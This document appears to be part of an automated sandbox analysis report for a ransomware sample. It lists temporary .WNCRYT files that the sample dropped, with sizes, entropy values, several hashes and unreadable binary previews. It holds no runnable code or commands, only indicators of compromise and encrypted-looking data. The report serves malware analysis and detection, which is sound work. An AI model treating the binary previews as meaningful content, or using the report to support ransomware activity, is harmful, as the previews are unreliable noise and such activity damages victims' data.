                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.804952022809881
                                      Encrypted:false
                                      SSDEEP:24:m89+lJN+9NA4YGuNW+xf6xslpRtq98Eu96l6PW55AW1v0jpl6T64N:D9GJNIuk6/lp29PZ0PWjAW1v3T64N
                                      MD5:20C4CE8A0C690D6C3B501CE26FAE7639
                                      SHA1:C0112D2D9C5665E7396137561D465B813D6DC312
                                      SHA-256:A61FF7A219F3031577F9951592CB6D2E89E5647386B3C0A9A58D8C2EDA1E98F3
                                      SHA-512:949E4AB554A981BF961505230B9E0B974D847C0A5C300831430AC8184383335114DB3DFFFF0D4F98F2A56589311E9D0E4B6213B45613F6BBAA66BC95C0417FF1
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:,'.e........b.NK.7....;!.$LX....]N-.....L."..&.u..rd......!I.v.J|...~7.....x.;..Z.S;.Ux...E.>.x.&pO.'S.UA.......J6N.=..{.~P.Z..A..*h..s...........F...PO....dY.`(...k.)}....O.....t..5..JkN.dv..@..Y......]...^F.7r.x%.U)z.<.KX.Xc"....N.x.......0r.A ..iF..(...P*..:.C..o.........%v.._...........Y7.|P............z..}.....C].-.T.oG.m.ap...q<.".c.......<.......@.....Q....[h.(o....~..0..M..%...u...m.`g.0.....;)P..}l.m^.....I....v........1..._.PNp$.....}h.....6g+.O....)..j...T..._..W....=t..0T.0...F.}y...o..eT.....i.(...(t..N`..l.].t..E.d..j.A..,Xt.....,5).W..A.w\HD(..]..A...t..8.?..'.eG.....[Y.........;.4...X8....8V.l....^{JM'd.=..~%#]U.,....c..$7...u...>8.q...g.Y..H.....j?..(....1/!.<(l.1.....c.uZ$M.. {Y.L.m.......%.E6.......X. Fb+x5../....'Y.k<..P....>..mZ.>..q#Ph..E_..IzA..C.V...$P...<.@.R...qO&_..y.n.P....s&2V...D..^G...r.....p6..!q...C.!...H=.y..u...!.[A...j..9.2.?Zk....?.....i.O..%..r+....^m..y...E...".d.AN.......D.o......B.9.n.6.

                                      C:\Users\user\AppData\Local\Temp\41.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.819840368383161
                                      Encrypted:false
                                      SSDEEP:24:d/hNZMFDcMFxJhThGnzWW8QeQ4gfps+osFktHTj7t/3zWsjxp/Dol:d/6FDZxJh86zPgamANjWsjxBDC
                                      MD5:615447C41C86A76F7670963B4FB45279
                                      SHA1:075FDA8A41AE7E0803D31E9913F12F5937A1FE72
                                      SHA-256:4F7B7B93754CE18DAF0C5F77D713C3BFCD0801C2A41A639840C8103F2D6BF222
                                      SHA-512:39AE5569D6F0BEEF64E917857BEF0C0B2362F3BA8E5FD6F6A12B5DF40D255900C97D0C389FD814E3663FB273A90EB59D9F7B4F1E7181A8068EE3EAE210F7053C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.......%`...*..|....%0..N%..c........wY\.>.........y.[../(.......>..;.k ......b...Vs.:g.i{......;B...F...3.$..^.y....f...3.Ce..G...1..E..,.)@....b..%.....k.....0S.;.9.2?.....T}..n5#.K.7../C.H.._.m.`G..-.e.E..2.....I....>f..{.....%.$...........p..{.=..8/zm.....=rw.!..C..v8..`.-.;np...x?}./.^..5....d....b.d0....qX..N.j|+ux.4..6.pm.=.p.t...i.r..;._..&....-.De.t:.'.>PS..]Ij.@D..]..c...O..9...>.:....S.Llz.:......NY.<C-......Y/.K=..F.7....#p.-..<.XD..?1....s..'.i"..ou................6..(ZP.3{.bI.j_+......s...^.g......W/...j.4.--i.r..g..Q,....&.vy."6......q.f..Tb....{!....o.hpQK.`.vn.)....H2=t..&t)l+......uV#....M..6.$+Rk.......J.l.......U.V-...E)tB.^DN.....*..1.......@1./.r...N.....Z-:.;.U..x^..!....9........r..N.t....7.....|"&.>.V..=A...&.up..i.....t..................cX......k....}.N.L....=z....4.de....1........?o.vA....3{.zz=.X..u.xU!Tb..j...F.8...1.v..\X.0AkBY..>.Q.Vm.......l.....I.. .z..sC.8..:. S.....{.v0.@.t.....3i.;....ZF.. ..

                                      C:\Users\user\AppData\Local\Temp\42.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.779489079090586
                                      Encrypted:false
                                      SSDEEP:24:OqEg9YQ6LDx9rnqwZ/Imtt55etepDZSExqAI0+4em+O8EzfdD:Oq6x9rnqiLtRDzxqATHem+ObVD
                                      MD5:1C4CCC97D76769E10CC46F016D3FE7D5
                                      SHA1:BE0C11465BCF03D4A61118D7AA0B7060B9849CE2
                                      SHA-256:BFE25FC28A1F44F5239C053D9CE4A7B9AAAF5544D3ED927735DE6F789830CA27
                                      SHA-512:A83620F4835E57125E4E76983CC4B6C8E270AD6CCB62B0F4D9C6E2B034D9C90D1031ACA4C404A7FEC372EE4D881AAC1BC00B98CC021ACA6F4832E078DB93D691
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..1.MH.Y.w.`z?...5k.....[........%..5(..~`.]...M5_..==%<5j.dw.c..b......n...W........C...F..NR...N.-.v..Y.".Q.V-.e.@.`p,.}.W........\. M.....].;...Y,.QP.....W... }..X.N!.!...J.h2..w.^..Y.Z........M.F`%..........._=..d./Q'.(.....m......+.....;k~m."h.%^.....aj..lB..`W).^.n..v.<..V.I..7^.h.K...?..Ctzw*M..Q.q$......K....]tB.N;...6.&%.D!..._)..L:;.....|2<......^..7......F.."..!...~9.N.#nc.fI@...N..P.%......i..=..(a.C...g.........+z.G..cc.......U...|..|<u(t..,'/.l..ks...77Npr."....P.}f....} ".y........pU......k..R.."...vVi....Zv:.....C..QaseX;o.W......&..P....=yP4..........r..h...t............Zb>..>o..8N.#{...P.Xs....N?p.y."..S.i].{.;..<V...c.vA\y...tW..g....s...t..S..DB.||4.a..M..tn.w.j....F).Y....D5.lh./?h..R.q-? .Ux..7....g./}'.8S.n.... ....F|*......l~Q..7.S..{....;. q......"..>.K......7...v.......M.......]D.X...k..x......@.Q.."..........s..O.2b...%..\g..jP.......?Q...>.e.1...2...U.....[....)..V....g...9. S..#...sC......rH..v...$.{.z

                                      C:\Users\user\AppData\Local\Temp\43.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.806796303257381
                                      Encrypted:false
                                      SSDEEP:24:QAwLzq7M3Z3KR5qvyWVgdtqvJoaPBALTZddaS:Qg7/R5qpgdtCvqdwS
                                      MD5:2D9172DAA05276F057D5B4FD9E29F001
                                      SHA1:2476C2DDFBFC8B194E5A7CA0127411EEBAB22037
                                      SHA-256:8F7FA9954F9E50552F3624F848A0D9DA115BC5FFC15E7085065FB2374D810154
                                      SHA-512:F7A0A7AD609327C853C2A18D38AB0D816948F67278F87D7FDD3768242D7A0A589BA74AE71F8375A71CD94676307BC48236355D57DF97B40862B73CF281D11D29
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.!.)9..A.ogf.6..cy.Wj...pl..4....m.il..$...QU$1..@..I....K..l.gz....e.e........J..=[q@....oxj.f.....G..u...bK.....H......=B....."p...hU...{?!;.4....7.n..i.....j.....{uUzda...K....f*h.p.3......z....TQ....|..N`.....T+.nt..... .&..h#...?v8.z_./?i?5..*%%...^.|uG7.j...C....d(..d-KF7.]...f..b..[..o..|.D*....FxO..Pm.Sg..x.$..O[.s.T......X.'..x.i...........+'"..2...'+9.[...9.r....B,...b.L3...'Z..}.....T..3b.&.A.`K....,..n.xd<..Q}$..f.)ry...D...2..._....b...8.\n.. $....5........t...6..4..w.^..=..oJg.(*.4.......j;.........h...*.....UT....;-.&..f.S...7..q........!../T0.6....i...;.!..!..\....E....Q.9.....#..G._..h.l~.&j..c\.z..B.5..".N./Gg{.x.BE..b.....a.~.xDJ..X..2dh.a.......uR...`Q.=O.V....A...2l....u.|.a^CLR.5.'...p[...x...)..>.T..|....`...;...d\.^.t6....3....hh....WH..$.4,......A...7.$...i9|....Eh 8^.R}..O.....^....v?..C...(.. ....F..y.7e.}q.B4.......Nn.{..-{.?...S...4o....qh..J.3C......Db.2..eE....G.67.y..h..<........?..oDN.....\.a%

                                      C:\Users\user\AppData\Local\Temp\44.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.805902064505821
                                      Encrypted:false
                                      SSDEEP:12:XO6dZuVyg188/YJ8nzJ+Qxb1vpekoZPq9OpdhEGY+sFepIYlcvPwD+4AKqcEhZX1:XpZxP89nzJPnqP9YlgIZPw1rEhmpNZe
                                      MD5:4AC5830B2B457E8F36DDFF35346D5351
                                      SHA1:F1E40AC149EC9F594A543721F30529C01D62AAAF
                                      SHA-256:ADA8E428C3FB01685A8D717A945C98785F7BE12D028EDDEE15CFBD2080483CA0
                                      SHA-512:4A1144DC38C3A08F584CF4E7DCBA8671B7BDDA3FE8CB99D7C6A542D595DC60702654F2681A7FF3179E9DA2397078B8F3D81901861484C3D64F073649A70850BA
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..h...M.....4yd.....`z.........S.........24y.Y....5..n.....8~.yx..-.=g..p=...<Q...P....kx.T.6....[..?4...3.O..MwU..#L...d>K7Y/>.e+....>.'...@{...>E..'.Y.f[.).(.s...........c.-....@.d.....#.d...hhV.e$k...]f-..B.)......nw..D......fA').OJ..ec..g@.o.......K.,.x.W/Y.2...\.f*...y......l..z.]..DY.x.].MA{.......d...0.C..".C.....`<.;-2.>..".}.X..).k....g.......+L..Xwn.K.M...Q\..v.0......~..*~..W#ow6..,W..>..........u8g+.2qs`.{.;s..../...W.......[.s.{.:l{..H.vd.~...\9./...WEcR}....t....l.....{q...N\'.7..;...r..w..............g.B.k.j.c.4......._.|bb.......{E.....?....j....X(..l..R..6...&..1..N9@.-.W..D....2...........9F..1..1....V.1X...A..6.}r..>."....$..$(...}.Sj\....,.%..D...J|Ej.*.K..S.N.1.E ...-.."i....v/+.E.S...a.rco........3*..+.........f.{<9... wc!....jl&D.M</........'zv...p.....vh...+.'J.c..{...a.]J..c.=..].....O..&`T.@,I.._...r.wV.LqGYy...;...... .cE.._.M....8.m...dY._.S,;.j..O.!."8.]........;@.,.^....fMb./m["A....n.:...Q..W..7..n...H......

                                      C:\Users\user\AppData\Local\Temp\45.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8066438137095835
                                      Encrypted:false
                                      SSDEEP:24:zgObQMxNrP1Rv/Bq+cMfhMVp3W9QN1DGyh44TjJTOv:zg0QqZRH/qDDGyhcv
                                      MD5:54F9788BB18C232A156C0C738F48741C
                                      SHA1:72D6DC93B7B271A98E14605C70AE5C7BDF5E1839
                                      SHA-256:EE7C0388A808BB828B35DDB5733579C980707D32E0659B1B89D98B690275D969
                                      SHA-512:5A10D08592627102A7AE1F089A240BF066E762BCB21AD3F7F8E5EB6BDD73DCF3A2756BB10963C641666363BBD83CA1465C77ED10C765AF4D4EDD6328EAA45C0E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.e......SvQe. .U....].:.R.AG.`......_+#...4..q..@+....l..K.....Z......a..a...&..6..e.K...1...1.F...R\|..oIC.:..~.h.<}..`...F..6..>4]..d..Q$..T)iT`..H...../.@7.....P../X......oA.1$bvm...8/.q._8..{..-yk,...b.3...u..O.(.z..g.znB.....p.wY.../..e.\...|\.Vv...F 5..^..'.y..|......r.'..\L.5.....\.Y....l\%(.{....,....=..?..Z.5..]...?.0.t._<a..<...aK.c...|...t...........\.....N....()[.8.P........9=f.,|..'..i.............D..sY...l.....}..~UB....d..2@.L.b}.....c...w_.'X_..0....B....Rz....de(&.....fOgz.P...#...Aov..k\.....p.m....`...lE.... 4L).5,.s]..U.+..W)..m..+....V..C....p.`-...>..$.1Mz..3.4.....|..+..`v.\..Q.B......"..../.r.e4.....U....S....E.g.F...v...1.D.|.F..Z~>2..u......l..c.Z.>....j.5.....|H.q".....oU.1.m.&.G......~N....c..Xt_'?.,.4.4h..4.Z.vh..%8....N.....sU......./X.......F.~....I.."1.rAD.d.y.W..L...x..:N:W.fA.V.)2.BSBq..6e...+Q<.[...W..T.v0.i..".5..m:....[K.!m!ex.WX........)v3-.T...B...x.9.h..&...I.Ed0l...e#|:........YA{.4.e.:.Lh~w.T..D

                                      C:\Users\user\AppData\Local\Temp\46.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.793989523723547
                                      Encrypted:false
                                      SSDEEP:24:0punmbJzfA5JaPtrLUc6lNDDAcRmzuGheu92clH+O:0pWm1A5JE5QllN/APzu8X92clJ
                                      MD5:7217401A180BAC1C8B49BD21948A89A2
                                      SHA1:05F80B6CDDC7C3DD6B27453CE248E85F8B9892A9
                                      SHA-256:000EB076DC6F8438B0C41B8C610690B67B3D557A0D44030A9CD34BFE7362C1E3
                                      SHA-512:85E0A4570976202AB7EF4AA16C7154C2545FC8CAA9E1DA2F69FE6D2B8BC50BA18B5B375595D225092BFB22FCC11257EE27280309425F288DAEC67EB0EE953B6A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..<......R.5...;WH.....n$nG...P=7|q7.*.......]-.i'("...C. V.j.d.6.....v.\_.=..*.....VK....H.y....h..d...x..Lp..K..(&Wx...Y..n...h....0.....I.qZ.6..e{..Gah..F3.[..%.8n8...Ljwcq.-.G%|=.).(:..:.y..a.0...*78.pm..h....%.>.e..u...sG..+>`..V.$y.....=.an..!..&.8CK.;.YB.M.V*Vnm....\\T>A..|...&.b.h..\.....c...9A.....S...............4.g#.....B'.!Q.D.8..JY.R..l.8..V*t....T...A...nk.9...i..D=1..k..K....?_..............NN...l.>bZ&...8..+.6A. ..O.^.o.w..8..]._. .....ir..`.bH...5p...q..A..A...N...S.....gr....5....._.t.\.u.6W....Sz....ak@..h\F..r..0....P.(WX....Z%\n.&..(...jX.5A.{...5.z.F.>........:7..di.s..pe...>g....M..d.~.TTx~...xvA..I.....lE......&...6...i..p...FX..fZ.z...G..r.U......A...V.0N...s.']8T..^{...|.n.o6<.49...(..k.f.x3.N ..o].WH.)..g.b%..y.....\^*.#.&...W.L......W.s#..l.%....{AD.... .M_.<|.U5u.]p..*v.e...`.PH..r...'..Z%..f3..P..L;........}H1q.....q..L..d*...........i...X#.l+......3=.....<.]..}JP{.u.s...0..h...m.l[..O...k.<...}(.{.

                                      C:\Users\user\AppData\Local\Temp\47.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.829606086570844
                                      Encrypted:false
                                      SSDEEP:24:DyRtX1OLSgGdy8gjA36E2Y1YFd7Nu7I3+jV0z4xGP:YtFRg2WVY+b7MIyVpQ
                                      MD5:C4B88FA743ADAABF5158F108290E1B2E
                                      SHA1:4CF1A71CFDE8F21F4D0676D83A68FC22C9A3FA8B
                                      SHA-256:78B16616FF4E04102802219AE3D93CFE76580E60424ED3759A956D13A70BDDEE
                                      SHA-512:926627C0828009ED625537135D2CD73B57B45FE41E6117580BAE49788B69909DD509A4711C609EA28E55CF455D238BB2E0F50259CD89FC1E60E34E4B9D116A82
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:^ ..!.v%.f33....3..T..|..U.Kv........k.....`w..uqlc..q .3...._A....^.._Y.`..C`..u..3g...<.b..#..Z...{..r.E....A.........);}_..D...O.....".{...,O...2.C.`.bbI.;..'^+Q..J......A..4./PD.$...I.i.....GTbj9.K......%.....Ck/w.p.?.>P9#.-U.w..f...1..4.......^...{..i_.02.f_-.[w.%.....M.z....g..p.-h........(R_........#.......Y.H.l]..,l..O....P...D../.......a.....G..."..ZG....c.p.@4............T...2?.?...e.\..H....Vq<A...Ru.....D.}d.6.A.{fn.,.~Cu.=...........:.+.A^zlL{[..._......7g..6..G.y._-.7..*.+.s..t...JN..i.\.C..^b.C......g}Q,..Y..Z..!.).......i..m.x.._....>-.2.S....w.#...0+..:.P....} ll(..#....6../..G.w..?......u.....B..B.c....~.j...W2'@qF;.....F...P......7k..J.....7.F.Kp...ii..3.47.r.I~....*.....].w..:..].=J.l...w...Df.8..<...b...."..Z{....]# ....I.L.V.e6a..m.V.h.nNJ.vx..Rm..;...?k.k..p...X...H.3....H..>.^.M...B....^.u%&.AE@......G..(v....*.7b$zx.k...N.F...."G(nJ.c.0a...:.uE..y..4.....u.=.......0.|3......f.x(.V..5Yd.....Q......Fr4.....H|..

                                      C:\Users\user\AppData\Local\Temp\48.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8232190320026085
                                      Encrypted:false
                                      SSDEEP:24:BRAWPSU/lVYQ2S3ntLC+EKydUb/GHIIpK64nl+PCPdRR+SW:nArU/o6tHv/GoIOl1PdzW
                                      MD5:AF75D6F0BEEA7EC21B3BCB28773B1AC6
                                      SHA1:DB0E07808F2B088D7633E03AE12A0C784045AE85
                                      SHA-256:99DDF9ADA17B70431F207EB19AF8E39FA7CC6927F9377269E81E3D8037A3A73E
                                      SHA-512:BBEAB10BB82C771303DF0EC0498D6E78B3F6FBAB43A1ECDF70E3580AC5E6FD4A618D9EC433638D6A380E0D7E35D8023597076F31C21B51257DDBE7CE25D494C4
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:xx.Qp0.%...$...p..B..........#+$,.........0.:..U.p..D.......d..Y5^..........E...@r........lyD..C7.&.$...d.!.&}..z0.*.k.7m.nPp.............V)...1<./#.F.h...C....8.{j/q.1....9<g..2...9..H.)..F.J.\x5?...OU...6..^..Hm..Y......*L...E(3K.....H.!..~{..&.......-.o..t[>......K...{..........0..-...K.....@.\..E......;.R.Ka4BSK.n...}..z.S.H.N!..n..!.9..m.e.3L....JtY9.q..........+_.>.}o(bT.........7va.@/.../...{.;..DCf.........$i..a.[...l.Y..]..(6./r@..U.....}.n....5.>.'u.h.D.q...TT.xsu.wlF.~....wG.sCT$...5J. .GO.8..RS?.:......p.[..@0y..&..c..Z).a\d..|p.....E.F.#....v~$..#.8.l..).^.......\....t.N.&......Wp./...?....Q.uGc3g....b.K.S;.;.!Z]..J.....o.a..F.(..C.k.@.....kh\.=...9.{.3%..............H.../....B82;..@..#?r...(.m.>....o.....v.%..&e_.].....$.X.l.~.......}.?.&.z......I.y...#..v..$.....p./,........;..W.~.ad...<..X3.....V...6.......CO.G..n..........."E..p"9.....o".....x.|...<..6.......P.8....3......r.....gR21.9.v.Ck.`u%....J.[i......_.c\..a.~TW&...

                                      C:\Users\user\AppData\Local\Temp\49.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.828086888285957
                                      Encrypted:false
                                      SSDEEP:24:A1lVbhebLgT31jHbyE8Q6di1nZp87BDbWMrxMV4AJ30k:AXebLgrhybQ4GnZp811lop
                                      MD5:59E764FB70120E74F35984013616FE1E
                                      SHA1:A6AB45EB8C51924B8F226E56D0E0647580652318
                                      SHA-256:E83CCBB0B859BB8632E8F43F9518BED24760188284E6CF126B30BCB3F2457697
                                      SHA-512:F1931323550B3F027221934493269B367ACA636B04ED4BEC3505E1C6D21C994229FA29E335DF142AE28A662A13EB4CA2FA708FD96C33EFBBA67EB30E3E91F840
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:8}5....!v..<.f..k..T..H.ZP.W~.=..!....O.>H\.~ .Bo...eF+.y....D,........K.....2..t.....X.|k.....9.......R..>&...M9.j/.r.'|ma2...+.,.g..?.J.bV'.$f.g..Or..X....&...e0j....p..JGHAi...`....,..ec[.y..".....!.......sJ.;...{.t....$..>....~z..../.[`\Y}..(}.A.......g...+V..KRm.6v...a.c*U.J^)....6HOT*..j|u...^..."D...f..)...6J..3.@y.&o..o......c...$....8.q7ik..l..i.V..p..........to..C(........(.1E\ ..!-!.;.*..(...;.g5.!..."r.V..=.{k~.P...].P.;..yftH.=9.....A/9.....J..H...0.Z2...PR.....X...7n.3...H8.4.-.e..>...A..1u..Q:.;P......zG....Ff..F.....4.s|?.&...Z.E..Z...h...b..['......M4o..&R+.8M...).-~.p....QP...;5>.....)NXD.2.CB.s...Gc.?..Z.@..1....8.....V..N}.[u....U..2.,?5A..>...1.....,......!.....c...S.{+..'.=$Wv....d...9.I4..@i.....d2^....BY........ds..SZt..\..@..#k....I=]..n..UK...G.....f7I...xR..r.K.)..\.q_~..[3..v..c....`.......x+.W..p...2.X. -4......1..1...q.L.@.!...............u.+...W.[,.s3.....*..~/.....F.^.=.O;.g....P..wDl.....d..E......!..w

                                      C:\Users\user\AppData\Local\Temp\5.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8214263163635875
                                      Encrypted:false
                                      SSDEEP:24:u3rnjs2XOOSnShoxcx9nVNIpCtx/8y862yG3:a7js2eOr+x8dVWMJG3
                                      MD5:76DCEF51D2E2207C45FFB2142808F954
                                      SHA1:B5886683425C3F74A61624AED1557C0F6F045498
                                      SHA-256:2277CB22FEC66DDA726F7713EA937E2CC07286F5A724FD391DA1641EDADBA712
                                      SHA-512:AFBCE373F755FE1398AB02410E4AA2E38CF43F2CE5C607601B8D7D04B82A4675A1376296D57440D03ECE7446D66E8078721AF1F322EF6972E579824A2F802EFF
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:h...G.S.[.0~7.;(./7!..45...R.....p..I.h.y.[.tPl...T. .../.d.<OKm..X..Y......~#...a.w*.. #..H.1p.....#R.(2lS..:fnz.D.....,+...rb,.v...c..8..N.-..d.....0.....S.k%q....K.*\.:.j.....k.r..R.C...N.|.uC..&L..........J..L/lr..L:...1...Oe_..]H...... ........B...;.{.!.P....?.c{....h#....|.T<[_.p'........=..+w.4..*.tc.fs).3.!Y.|=.<t..1.mW[.b.Y...........|>...E.....Le...k..d...X..w...JG....C{'........9.........@MB.....:.....@.......k...b*-i.2..ku....5..2.....t...Ib..^$.A.<.....g....=U.....`.p....KI2l..~.f....S?.uL..OS....d..S....(M...,B...aD^.?h'...z..G.;m./..*.1.[....g.0.W.d.7..Ca../......./(o..Jw... ..J....0.E..x.)7R...?.......U..9.... .GP]Fn...R&aH..]D...h(....}..nr=..H..e..`.4.L4.Z.-.vP!4E`.j..u.%.pf..x.-.<..*;...#../b........ ..._EV\..^M.....;...i......o<.3.;.Z.rY.].......n)...].%e......d.......r. .`.f...q..n..n7..Stf.*.w.8g./T6.80.F]i..{.}y.X..3.R..wi...]..^*e..;}..x(;.D&.zI)~........P+..k.x..?e..m..-..1..LP...z......}e...r.Fh.....W!.0.#.....`>..zX.5

                                      C:\Users\user\AppData\Local\Temp\50.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.803497136443095
                                      Encrypted:false
                                      SSDEEP:24:jr0YZHj/iaOMeZ817yDUOwkndhJ+m7rb8FCBCTWp:jrhDOMe8XhknPUmkxWp
                                      MD5:55BC70A5B88DB1A7F8424BB2AF4B4CD3
                                      SHA1:94AF08D8691769F97B12091B701513DB7BB65668
                                      SHA-256:AFF7C1D6FDB62DF07CE0680A168C90495CE71394A97508C98E90E6466124DFDB
                                      SHA-512:1C7BC6861B4F0C5B1236ADFDF4EF74BB978196489890C111B0BFF166034F5389DBC938E66C95DD160CC32B463A5C4F9946D9E1910DD6A7EAB31593542944E004
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.#....U....q..............$^/..-..........)H4....h_..8..Q...w......JlF..pY7..=..x.o.Zgn.#.N..;Wsx.......J...]4]..M.m..dg.W......[V.._.'.I5P..1.9o.x.)...Px.4^..r.....p..x.....V .._."L.q.-t"y....,..t..0_.f...(.DN..=I....t....._.<..t.w+....."P...^g..l.......$v4.<..~I..#wIcqlo.Ks.0..&.B^..$W.V..w.z!..:..%[....K...fvF=%..0....z.A.(P..v..M7'h..b.5..1..q..+,]...o. .1<.I.,_k.....lz.#...kTs.A........58.V.....d.....P.`^^i.j...j..\..>..._H@..Ii6.q.^.uG...^^.Y...|...4.!H.~..R......mmF.\.m......`.t..j...ET..y4...z.`.)..\...9..9C:.>TSN<...A@f.Gq.@x'...b......<....Pg.k~...w,G....[J.....{.{m.....n...@f$...w..Z.>.e.eB=P. .S..Xq...8.M,@.{.0.S........nH.S.7-g%..}..B.....2.V$....T....$.{e.I ..N~..W...5.C):.../_SZ}_...3/../.J..K..g.3>..O6.J$\....L...>.k.V 9..,..j.....^.....v.6i.q..-..Es;..........HP...i.z.....F....G:sikDk.;.wZ~t)A....3.;.4Y..&p~Q..sF......)Ok.%.ICu.J..6<.VC.[...@B.U(!...Je.lI.S.v2}....6.I.5.*..dhD.t4.A..6%.A.....}..v.-[.{\.,ei.EK..,..2.

                                      C:\Users\user\AppData\Local\Temp\51.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.838610182498433
                                      Encrypted:false
                                      SSDEEP:24:1mBPUyths/lwbZTEgW7ovMcLdVt4xjx8zeJRa/YQ0a+GK:148ybXNY0FQtx8zWaB2
                                      MD5:406B0081AD8150782C9BA47E52D6DD0A
                                      SHA1:1427C4AC2A5838CEAC21FD640EF8098214517798
                                      SHA-256:309EA0257A8C4AFE76E4F2DB92D32D7AFDCB9239CCB485B2F914E0F0FC1B584A
                                      SHA-512:300A0BAC603C9DA9EF92F96DE4EA018F112FB65C33C61790F486CC67CFF0A59D3CE138E701E3018175AFA1E126A68AF5463F71514E7D42B8BDDD517E2E2E8823
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..3.Jm.-U.......L....,..t..wr.....R;U.e+...bz......zmO.f..|....wgq.....k.b..&....l.1.z=..c3zv...;.8e.".....O...,..e....N#".g...K ....*V.a...C....=..K....Ny..6&.:.......3.7..^"..=....P...>.3].Y.k.o..A....q...K..w.^4#...9.........IA....o.BE..!c...UT..I........`H.O..\.OXn...T7..a...$'.B..a...r..t.t..0..b....(.Q.R...q.w4/....x....F4(9[II.Z.7Rs....jnu,#.$[...2.?....Z.......MA..0.K..].t.i..G...:*.w...~....a/.........D..5."..nN.p...V..yF.P{..x...k..=..8E..,.P9r%A.G...l...Q...$`x..8.....".... V>.QI...,..f\U.k..}.m.l...v,..m..O$.}t%...h....;..b+5..;.LE.P.....Fc.....K..%K...o.)4+...VOK.........y~....h..i.....<.-7.X......8...af.....7@...~....5."..'..'2..5...%}.\/...l....3.Vb.-[H........^%*....NFtR...M".T^.b....yh.)..".ggL.......R........2;.$....<rU.`...,.`um7S3....(.g.u..<..~.Q...v... 8r..!`*....$P.......1.....4...P...D.tVC........`.@..;/...g:h.j.).(R.wb.)D..k.]...ac....0.;.p?.5 l..W.....3....Y..\....{.7.+.H....)U..yJ.iid.w`hdr....R...

                                      C:\Users\user\AppData\Local\Temp\52.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.790438797938168
                                      Encrypted:false
                                      SSDEEP:24:6mBPw9UbFQM5R0WurhbXBHOzvRrUCCYHxtFzgsgh9hb6JI/5:XBY9UbmbrR1ODRB9j+ki/5
                                      MD5:9898D24E4943B6573D3B6C9B01609479
                                      SHA1:DA40DC99C34E9B762A857BE286BE33E8BE8E6B7C
                                      SHA-256:F42EF95BC2A0BD81B98EA31097646E41E25A83A6762BFFB9C184C9C7CE9801E2
                                      SHA-512:9F76404730870C9EB5352E3BF235EC3AE405A7DE196E2F286096A6C23B65AE8F6816E9C23C00809763EB260FC87DA849F66F626D02985EAE7E5E790C9ECB407E
                                      Malicious:false
                                      Reputation:unknown
